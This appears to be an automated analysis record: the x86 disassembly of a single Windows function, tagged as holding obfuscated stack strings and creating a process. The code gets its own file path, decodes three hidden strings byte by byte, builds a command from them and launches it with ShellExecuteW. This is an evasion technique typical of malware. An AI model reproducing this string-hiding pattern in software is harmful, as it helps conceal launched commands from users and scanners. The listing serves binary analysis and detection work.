Function at 0x44d580
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 0xa84], 0
mov byte [ebp - 0xa83], 0x5d
mov byte [ebp - 0xa82], 0x13
mov byte [ebp - 0xa81], 0x7d
mov byte [ebp - 0xa80], 0x13
mov byte [ebp - 0xa7f], 0x12
mov byte [ebp - 0xa7e], 0x13
mov byte [ebp - 0xa7d], 2
mov byte [ebp - 0xa7c], 0x13
mov byte [ebp - 0xa7b], 0x17
mov byte [ebp - 0xa7a], 0x13
mov byte [ebp - 0xa79], 0x76
mov byte [ebp - 0xa78], 0x13
mov byte [ebp - 0xa77], 0x20
mov byte [ebp - 0xa76], 0x13
mov byte [ebp - 0xa75], 0
mov byte [ebp - 0xa74], 0x13
mov byte [ebp - 0xa73], 2
mov byte [ebp - 0xa72], 0x13
mov byte [ebp - 0xa71], 0x74
mov byte [ebp - 0xa70], 0x13
mov byte [ebp - 0xa6f], 0x30
mov byte [ebp - 0xa6e], 0x13
mov byte [ebp - 0xa6d], 0x59
mov byte [ebp - 0xa6c], 0x13
mov byte [ebp - 0xa6b], 0x42
mov byte [ebp - 0xa6a], 0x13
mov byte [ebp - 0xa69], 0x39
mov byte [ebp - 0xa68], 0x13
mov byte [ebp - 0xa67], 0x42
mov byte [ebp - 0xa66], 0x13
mov byte [ebp - 0xa65], 0x39
mov byte [ebp - 0xa64], 0x13
mov byte [ebp - 0xa63], 0x42
mov byte [ebp - 0xa62], 0x13
mov byte [ebp - 0xa61], 0x74
mov byte [ebp - 0xa60], 0x13
mov byte [ebp - 0xa5f], 2
mov byte [ebp - 0xa5e], 0x13
mov byte [ebp - 0xa5d], 7
mov byte [ebp - 0xa5c], 0x13
mov byte [ebp - 0xa5b], 0x20
mov byte [ebp - 0xa5a], 0x13
mov byte [ebp - 0xa59], 2
mov byte [ebp - 0xa58], 0x13
mov byte [ebp - 0xa57], 0x62
mov byte [ebp - 0xa56], 0x13
mov byte [ebp - 0xa55], 2
mov byte [ebp - 0xa54], 0x13
mov byte [ebp - 0xa53], 0x79
mov byte [ebp - 0xa52], 0x13
mov byte [ebp - 0xa51], 2
mov byte [ebp - 0xa50], 0x13
mov byte [ebp - 0xa4f], 0x20
mov byte [ebp - 0xa4e], 0x13
mov byte [ebp - 0xa4d], 0x40
mov byte [ebp - 0xa4c], 0x13
mov byte [ebp - 0xa4b], 0x29
mov byte [ebp - 0xa4a], 0x13
mov byte [ebp - 0xa49], 2
mov byte [ebp - 0xa48], 0x13
mov byte [ebp - 0xa47], 0x66
mov byte [ebp - 0xa46], 0x13
mov byte [ebp - 0xa45], 2
mov byte [ebp - 0xa44], 0x13
mov byte [ebp - 0xa43], 0x4d
mov byte [ebp - 0xa42], 0x13
mov byte [ebp - 0xa41], 9
mov byte [ebp - 0xa40], 0x13
mov byte [ebp - 0xa3f], 0x29
mov byte [ebp - 0xa3e], 0x13
mov byte [ebp - 0xa3d], 2
mov byte [ebp - 0xa3c], 0x13
mov byte [ebp - 0xa3b], 0x78
mov byte [ebp - 0xa3a], 0x13
mov edi, 0x7f
mov byte [ebp - 0xa39], 0x2b
mov byte [ebp - 0xa38], 0x13
mov byte [ebp - 0xa37], 0x29
mov byte [ebp - 0xa36], 0x13
mov byte [ebp - 0xa35], 0x49
mov byte [ebp - 0xa34], 0x13
mov byte [ebp - 0xa33], 0x78
mov byte [ebp - 0xa32], 0x13
mov byte [ebp - 0xa31], 0x13
mov byte [ebp - 0xa30], 0x13
mov al, byte [ebp - 0xa83]
cmp byte [ebp - 0xa84], 0
jne 0x44d841
xor esi, esi
mov al, byte [ebp + esi - 0xa83]
movzx ecx, al
sub ecx, 0x13
lea eax, [ecx*8]
sub eax, ecx
shl eax, 2
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xa83], dl
inc esi
cmp esi, 0x54
jb 0x44d812
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xa83]
push eax
lea eax, [ebp - 0xa0c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov byte [ebp - 0xa2c], 0
add esp, 0xc
mov byte [ebp - 0xa2b], 0x1b
mov byte [ebp - 0xa2a], 0x41
mov byte [ebp - 0xa29], 0x5f
mov byte [ebp - 0xa28], 0x41
mov byte [ebp - 0xa27], 0x6e
mov byte [ebp - 0xa26], 0x41
mov byte [ebp - 0xa25], 0x49
mov byte [ebp - 0xa24], 0x41
mov byte [ebp - 0xa23], 0x42
mov byte [ebp - 0xa22], 0x41
mov byte [ebp - 0xa21], 0x77
mov byte [ebp - 0xa20], 0x41
mov byte [ebp - 0xa1f], 0x42
mov byte [ebp - 0xa1e], 0x41
mov byte [ebp - 0xa1d], 0x41
mov byte [ebp - 0xa1c], 0x41
mov al, byte [ebp - 0xa2b]
cmp byte [ebp - 0xa2c], 0
jne 0x44d91a
xor esi, esi
nop word [eax + eax]
mov al, byte [ebp + esi - 0xa2b]
mov ecx, 0x41
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x1a
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xa2b], dl
inc esi
cmp esi, 0x10
jb 0x44d8f0
mov byte [ebp - 0xa18], 0
mov byte [ebp - 0xa17], 0x4a
mov byte [ebp - 0xa16], 0x1c
mov byte [ebp - 0xa15], 0x57
mov byte [ebp - 0xa14], 0x1c
mov byte [ebp - 0xa13], 0x47
mov byte [ebp - 0xa12], 0x1c
mov byte [ebp - 0xa11], 0x3d
mov byte [ebp - 0xa10], 0x1c
mov byte [ebp - 0xa0f], 0x1c
mov byte [ebp - 0xa0e], 0x1c
mov al, byte [ebp - 0xa17]
cmp byte [ebp - 0xa18], 0
jne 0x44d9aa
xor esi, esi
nop dword [eax + eax]
mov al, byte [ebp + esi - 0xa17]
mov ecx, 0x1c
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x27
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xa17], dl
inc esi
cmp esi, 0xa
jb 0x44d980
push 0
push 0
lea eax, [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa2b]
push eax
lea eax, [ebp - 0xa17]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0047900d
mov esp, ebp
pop ebp
ret